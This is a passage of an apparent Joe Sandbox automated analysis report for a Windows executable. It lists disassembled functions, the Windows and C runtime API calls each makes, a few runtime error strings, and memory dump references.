          • Part of subcall function 00449E60: strlen.MSVCRT ref: 00449E7B
          • Part of subcall function 00449E60: strcmp.MSVCRT ref: 00449E94
          • Part of subcall function 00445D40: strlen.MSVCRT ref: 00445DD8
          • Part of subcall function 00445D40: _strnicmp.MSVCRT ref: 00445E3F
          • Part of subcall function 00445D40: strlen.MSVCRT ref: 00445E57
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004682D0, Relevance: 23.1, APIs: 8, Strings: 5, Instructions: 380
        APIs
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004D1C30, Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 283
        APIs
          • Part of subcall function 004D1A90: fwrite.MSVCRT ref: 004D1ABB
          • Part of subcall function 004D1A90: vfprintf.MSVCRT ref: 004D1AD7
          • Part of subcall function 004D1A90: abort.MSVCRT ref: 004D1ADC
          • Part of subcall function 004D1AF0: VirtualQuery.KERNEL32 ref: 004D1B80
          • Part of subcall function 004D1AF0: VirtualProtect.KERNEL32 ref: 004D1BC2
          • Part of subcall function 004D1AF0: GetLastError.KERNEL32 ref: 004D1BE4
        • VirtualQuery.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 004D1DCB
        • VirtualProtect.KERNEL32 ref: 004D1DFC
        • signal.MSVCRT ref: 004D1F38
        • signal.MSVCRT ref: 004D1F9F
        • signal.MSVCRT ref: 004D1FDF
        • signal.MSVCRT ref: 004D1FF8
        • signal.MSVCRT ref: 004D202A
        • signal.MSVCRT ref: 004D2060
        • signal.MSVCRT ref: 004D207F
        • signal.MSVCRT ref: 004D209F
        Strings
        • VirtualQuery failed for %d bytes at address %p, xrefs: 004D1C0A, 004D1ED3
        • Unknown pseudo relocation bit size %d., xrefs: 004D1D2C
        • Unknown pseudo relocation protocol version %d., xrefs: 004D1EE7
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 0045E5D0, Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 226
        APIs
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00431719, Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 277
        APIs
          • Part of subcall function 004314A0: strlen.MSVCRT ref: 004314B1
          • Part of subcall function 004314A0: MultiByteToWideChar.KERNEL32 ref: 004314E6
          • Part of subcall function 004314A0: MultiByteToWideChar.KERNEL32 ref: 00431530
          • Part of subcall function 004314A0: strlen.MSVCRT ref: 0043154C
          • Part of subcall function 004314A0: MultiByteToWideChar.KERNEL32 ref: 0043157A
          • Part of subcall function 004314A0: _wfopen.MSVCRT ref: 0043158D
          • Part of subcall function 004314A0: _errno.MSVCRT ref: 0043159D
          • Part of subcall function 004314A0: _errno.MSVCRT ref: 004315A4
          • Part of subcall function 004314A0: fopen.MSVCRT ref: 004315B5
          • Part of subcall function 004314A0: fopen.MSVCRT ref: 004315F3
          • Part of subcall function 004314A0: MultiByteToWideChar.KERNEL32 ref: 00431627
        • GetLastError.KERNEL32 ref: 004319B0
        • ftell.MSVCRT ref: 00431A74
        • fflush.MSVCRT ref: 00431A80
        • feof.MSVCRT ref: 00431A90
        • fseek.MSVCRT ref: 00431AAB
        • _fileno.MSVCRT ref: 00431B27
        • _setmode.MSVCRT ref: 00431B3F
          • Part of subcall function 00430510: strlen.MSVCRT ref: 00430554
          • Part of subcall function 004316A0: fclose.MSVCRT ref: 004316E2
        • _setmode.MSVCRT ref: 00431BAB
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00414990, Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 217
        APIs
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00462159, Relevance: 21.2, APIs: 4, Strings: 8, Instructions: 216
        APIs
          • Part of subcall function 00456CB0: strlen.MSVCRT ref: 00456CC1
          • Part of subcall function 00456CB0: strncmp.MSVCRT ref: 00456CD3
        • strspn.MSVCRT ref: 0046219F
        • strspn.MSVCRT ref: 004621C3
        • strspn.MSVCRT ref: 004621DD
          • Part of subcall function 00430450: strlen.MSVCRT ref: 0043045F
        • strspn.MSVCRT ref: 004622F9
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00435CD0, Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 128
        APIs
          • Part of subcall function 004350D0: LoadLibraryA.KERNEL32 ref: 00435102
          • Part of subcall function 004350D0: LoadLibraryA.KERNEL32 ref: 00435110
          • Part of subcall function 004350D0: FreeLibrary.KERNEL32 ref: 004351CC
          • Part of subcall function 004350D0: GetProcAddress.KERNEL32 ref: 004351F6
          • Part of subcall function 004350D0: GetProcAddress.KERNEL32 ref: 00435208
          • Part of subcall function 004350D0: GetProcAddress.KERNEL32 ref: 0043521C
          • Part of subcall function 004350D0: FreeLibrary.KERNEL32 ref: 004352AC
          • Part of subcall function 004350D0: GetVersion.KERNEL32 ref: 004352BB
          • Part of subcall function 004350D0: GetProcAddress.KERNEL32 ref: 004352EF
          • Part of subcall function 004350D0: GetProcAddress.KERNEL32 ref: 00435301
          • Part of subcall function 004350D0: GetProcAddress.KERNEL32 ref: 00435315
          • Part of subcall function 004350D0: GetProcAddress.KERNEL32 ref: 00435329
          • Part of subcall function 004350D0: GetProcAddress.KERNEL32 ref: 0043533D
          • Part of subcall function 004350D0: GetProcAddress.KERNEL32 ref: 00435351
          • Part of subcall function 004350D0: GetProcAddress.KERNEL32 ref: 00435365
          • Part of subcall function 004350D0: GetProcAddress.KERNEL32 ref: 00435379
          • Part of subcall function 004350D0: GetProcAddress.KERNEL32 ref: 0043538D
          • Part of subcall function 004350D0: GetProcAddress.KERNEL32 ref: 004353A1
          • Part of subcall function 004350D0: GetProcAddress.KERNEL32 ref: 004353B5
          • Part of subcall function 004350D0: GetProcAddress.KERNEL32 ref: 004353C9
          • Part of subcall function 004350D0: GetTickCount.KERNEL32 ref: 00435583
          • Part of subcall function 004350D0: FreeLibrary.KERNEL32 ref: 00435653
          • Part of subcall function 004350D0: GlobalMemoryStatus.KERNEL32 ref: 0043566B
          • Part of subcall function 004350D0: GetCurrentProcessId.KERNEL32 ref: 00435695
          • Part of subcall function 004350D0: GetProcAddress.KERNEL32 ref: 004356F9
          • Part of subcall function 004350D0: GetProcAddress.KERNEL32 ref: 0043570D
          • Part of subcall function 004350D0: GetProcAddress.KERNEL32 ref: 00435721
          • Part of subcall function 004350D0: GetVersion.KERNEL32 ref: 0043575E
          • Part of subcall function 004350D0: GetVersion.KERNEL32 ref: 00435764
          • Part of subcall function 004350D0: FreeLibrary.KERNEL32 ref: 004357BF
          • Part of subcall function 004350D0: GetTickCount.KERNEL32 ref: 00435965
          • Part of subcall function 004350D0: GetTickCount.KERNEL32 ref: 004359BE
          • Part of subcall function 004350D0: GetTickCount.KERNEL32 ref: 00435B2C
          • Part of subcall function 004350D0: CloseHandle.KERNEL32 ref: 00435BA6
        • GetVersion.KERNEL32 ref: 00435CDF
        • GetDC.USER32 ref: 00435D07
        • GetDeviceCaps.GDI32 ref: 00435D23
        • GetDeviceCaps.GDI32 ref: 00435D35
        • CreateCompatibleBitmap.GDI32 ref: 00435D4B
        • GetObjectA.GDI32 ref: 00435D6D
        • GetDIBits.GDI32 ref: 00435E63
        • DeleteObject.GDI32 ref: 00435EC8
        • ReleaseDC.USER32 ref: 00435EDC
          • Part of subcall function 00413610: GetModuleHandleA.KERNEL32 ref: 00413638
          • Part of subcall function 00413610: GetProcAddress.KERNEL32 ref: 00413654
          • Part of subcall function 00413610: GetProcessWindowStation.USER32 ref: 00413670
          • Part of subcall function 00413610: GetUserObjectInformationW.USER32 ref: 004136A8
          • Part of subcall function 00413610: GetLastError.KERNEL32 ref: 004136B5
          • Part of subcall function 00413610: GetUserObjectInformationW.USER32 ref: 0041370D
          • Part of subcall function 00413610: wcsstr.MSVCRT ref: 00413736
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004D1A90, Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 120
        APIs
        Strings
        • VirtualProtect failed with code 0x%x, xrefs: 004D1BEA
        • Mingw-w64 runtime failure:, xrefs: 004D1AAD
        • @, xrefs: 004D1BAB
        • VirtualQuery failed for %d bytes at address %p, xrefs: 004D1C0A
        • Address %p has no image-section, xrefs: 004D1C1E
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004483C0, Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 88
        APIs
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004E32D0, Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 84
        APIs
        • TlsGetValue.KERNEL32 ref: 004E32ED
          • Part of subcall function 004E3100: calloc.MSVCRT ref: 004E3173
          • Part of subcall function 004E3100: free.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,00000004,004E3B61), ref: 004E31A3
        • GetCurrentThreadId.KERNEL32 ref: 004E332B
        • CreateEventA.KERNEL32(?,?,?,?,?,?,?,00000000,00000004,004E3B61), ref: 004E3353
          • Part of subcall function 004E31B0: GetCurrentThreadId.KERNEL32 ref: 004E31F6
          • Part of subcall function 004E31B0: _ultoa.MSVCRT ref: 004E320F
          • Part of subcall function 004E31B0: OutputDebugStringA.KERNEL32 ref: 004E3243
          • Part of subcall function 004E31B0: abort.MSVCRT(00000000), ref: 004E324A
        • GetCurrentProcess.KERNEL32 ref: 004E3382
        • GetCurrentThread.KERNEL32 ref: 004E3386
        • GetCurrentProcess.KERNEL32 ref: 004E338E
        • DuplicateHandle.KERNEL32 ref: 004E33BA
        • GetThreadPriority.KERNEL32 ref: 004E33CD
        • TlsSetValue.KERNEL32 ref: 004E33F9
        • abort.MSVCRT ref: 004E340D
          • Part of subcall function 004E3250: fprintf.MSVCRT ref: 004E3299
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004E1340, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 83
        APIs
        • calloc.MSVCRT ref: 004E1357
        • CreateSemaphoreA.KERNEL32 ref: 004E13AD
        • CreateSemaphoreA.KERNEL32 ref: 004E13D4
        • InitializeCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,004E14C7,?,?,?,00000000), ref: 004E13F3
        • InitializeCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?,004E14C7,?,?,?), ref: 004E13FE
        • InitializeCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,004E14C7), ref: 004E1409
        • CloseHandle.KERNEL32 ref: 004E1433
        • CloseHandle.KERNEL32 ref: 004E1446
        • free.MSVCRT(?,?,?,?,?,?,?,?,?,00000000,?,004E14C7,?,?,?,00000000), ref: 004E1452
        Strings
        Memory Dump Source
        • Source File: 00000005.00000002.557401570.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000002.557391743.00400000.00000002.sdmp
        • Associated: 00000005.00000002.557446489.00578000.00000004.sdmp
        • Associated: 00000005.00000002.557455791.0057B000.00000002.sdmp
        • Associated: 00000005.00000002.557480064.0061B000.00000004.sdmp
        • Associated: 00000005.00000002.557493260.00620000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_2_400000_sync.jbxd
        Function 004496B0, Relevance: 16.9, APIs: 5, Strings: 6, Instructions: 426
        APIs
        • strlen.MSVCRT ref: 00449771
          • Part of subcall function 004300C0: memset.MSVCRT ref: 0043013E
        • memcpy.MSVCRT ref: 0044982E
        • memcpy.MSVCRT ref: 00449912
          • Part of subcall function 004301C0: memset.MSVCRT ref: 00430254
          • Part of subcall function 004301C0: memset.MSVCRT ref: 0043027A
        • strlen.MSVCRT ref: 00449B46
        • strncmp.MSVCRT ref: 00449B6B
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004314A0, Relevance: 16.6, APIs: 11, Instructions: 118
        APIs
        Memory Dump Source
        • Source File: 00000005.00000002.557401570.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000002.557391743.00400000.00000002.sdmp
        • Associated: 00000005.00000002.557446489.00578000.00000004.sdmp
        • Associated: 00000005.00000002.557455791.0057B000.00000002.sdmp
        • Associated: 00000005.00000002.557480064.0061B000.00000004.sdmp
        • Associated: 00000005.00000002.557493260.00620000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_2_400000_sync.jbxd
        Function 00413610, Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 95
        APIs
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004130C0, Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 89
        APIs
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00401500, Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 64
        APIs
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004660F0, Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 97
        APIs
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00439132, Relevance: 13.7, APIs: 3, Strings: 6, Instructions: 218
        APIs
        • strlen.MSVCRT ref: 0043935A
        • memcpy.MSVCRT ref: 004393EA
        • memcpy.MSVCRT ref: 00439445
          • Part of subcall function 00407A50: memcpy.MSVCRT ref: 00407CBE
          • Part of subcall function 00407A50: memcpy.MSVCRT ref: 00407CD9
          • Part of subcall function 00407A50: memcpy.MSVCRT ref: 00407DED
          • Part of subcall function 00413910: raise.MSVCRT ref: 0041393E
          • Part of subcall function 00413910: _exit.MSVCRT ref: 0041394A
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00550EF0, Relevance: 13.7, APIs: 8, Strings: 1, Instructions: 215
        APIs
        Strings
        • basic_string::_M_replace, xrefs: 005511BA
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00416CD0, Relevance: 13.6, APIs: 5, Strings: 4, Instructions: 142
        APIs
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00456A70, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 139
        APIs
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00431E00, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69
        APIs
          • Part of subcall function 004314A0: strlen.MSVCRT ref: 004314B1
          • Part of subcall function 004314A0: MultiByteToWideChar.KERNEL32 ref: 004314E6
          • Part of subcall function 004314A0: MultiByteToWideChar.KERNEL32 ref: 00431530
          • Part of subcall function 004314A0: strlen.MSVCRT ref: 0043154C
          • Part of subcall function 004314A0: MultiByteToWideChar.KERNEL32 ref: 0043157A
          • Part of subcall function 004314A0: _wfopen.MSVCRT ref: 0043158D
          • Part of subcall function 004314A0: _errno.MSVCRT ref: 0043159D
          • Part of subcall function 004314A0: _errno.MSVCRT ref: 004315A4
          • Part of subcall function 004314A0: fopen.MSVCRT ref: 004315B5
          • Part of subcall function 004314A0: fopen.MSVCRT ref: 004315F3
          • Part of subcall function 004314A0: MultiByteToWideChar.KERNEL32 ref: 00431627
        • GetLastError.KERNEL32 ref: 00431E62
        • _errno.MSVCRT ref: 00431ECA
        • _errno.MSVCRT ref: 00431ED1
        • fclose.MSVCRT ref: 00431F46
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004BB080, Relevance: 12.3, APIs: 1, Strings: 7, Instructions: 307
        APIs
        • strlen.MSVCRT ref: 004BB32E
          • Part of subcall function 0040C4B0: memcpy.MSVCRT ref: 0040C519
          • Part of subcall function 0040C4B0: strlen.MSVCRT ref: 0040C567
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 0044B6C0, Relevance: 12.3, APIs: 3, Strings: 5, Instructions: 281
        APIs
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00408D82, Relevance: 12.3, APIs: 7, Strings: 1, Instructions: 272
        APIs
        Strings
        Memory Dump Source
        • Source File: 00000005.00000002.557401570.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000002.557391743.00400000.00000002.sdmp
        • Associated: 00000005.00000002.557446489.00578000.00000004.sdmp
        • Associated: 00000005.00000002.557455791.0057B000.00000002.sdmp
        • Associated: 00000005.00000002.557480064.0061B000.00000004.sdmp
        • Associated: 00000005.00000002.557493260.00620000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_2_400000_sync.jbxd
        Function 00407A50, Relevance: 12.3, APIs: 3, Strings: 5, Instructions: 252
        APIs
        • memcpy.MSVCRT ref: 00407CBE
        • memcpy.MSVCRT ref: 00407CD9
        • memcpy.MSVCRT ref: 00407DED
          • Part of subcall function 00413910: raise.MSVCRT ref: 0041393E
          • Part of subcall function 00413910: _exit.MSVCRT ref: 0041394A
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004D6260, Relevance: 12.2, APIs: 8, Instructions: 154
        APIs
          • Part of subcall function 004E3AC0: fprintf.MSVCRT ref: 004E3B12
          • Part of subcall function 004E3AC0: realloc.MSVCRT ref: 004E3CC9
          • Part of subcall function 004E3AC0: memset.MSVCRT ref: 004E3CF3
          • Part of subcall function 004E2510: GetCurrentThreadId.KERNEL32(?,?,?,?,?,?,?,?,?,?,004E7324,?,?,?,005704F9), ref: 004E2560
          • Part of subcall function 004E2510: WaitForSingleObject.KERNEL32 ref: 004E25A2
          • Part of subcall function 004E2510: GetCurrentThreadId.KERNEL32(?,?,?,?,?,?,004E7324,?,?,?,005704F9,?,?,?,?,00000001), ref: 004E25C5
          • Part of subcall function 004E2510: CreateEventA.KERNEL32 ref: 004E260F
          • Part of subcall function 004E2510: CloseHandle.KERNEL32 ref: 004E262E
          • Part of subcall function 004E2510: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,004E7324,?,?,?,005704F9), ref: 004E263C
          • Part of subcall function 004E2810: GetCurrentThreadId.KERNEL32 ref: 004E2867
          • Part of subcall function 004E2810: SetEvent.KERNEL32 ref: 004E2896
          • Part of subcall function 004E3E10: GetLastError.KERNEL32 ref: 004E3E1B
          • Part of subcall function 004E3E10: SetLastError.KERNEL32 ref: 004E3E54
        • calloc.MSVCRT ref: 004D6301
        • abort.MSVCRT ref: 004D6457
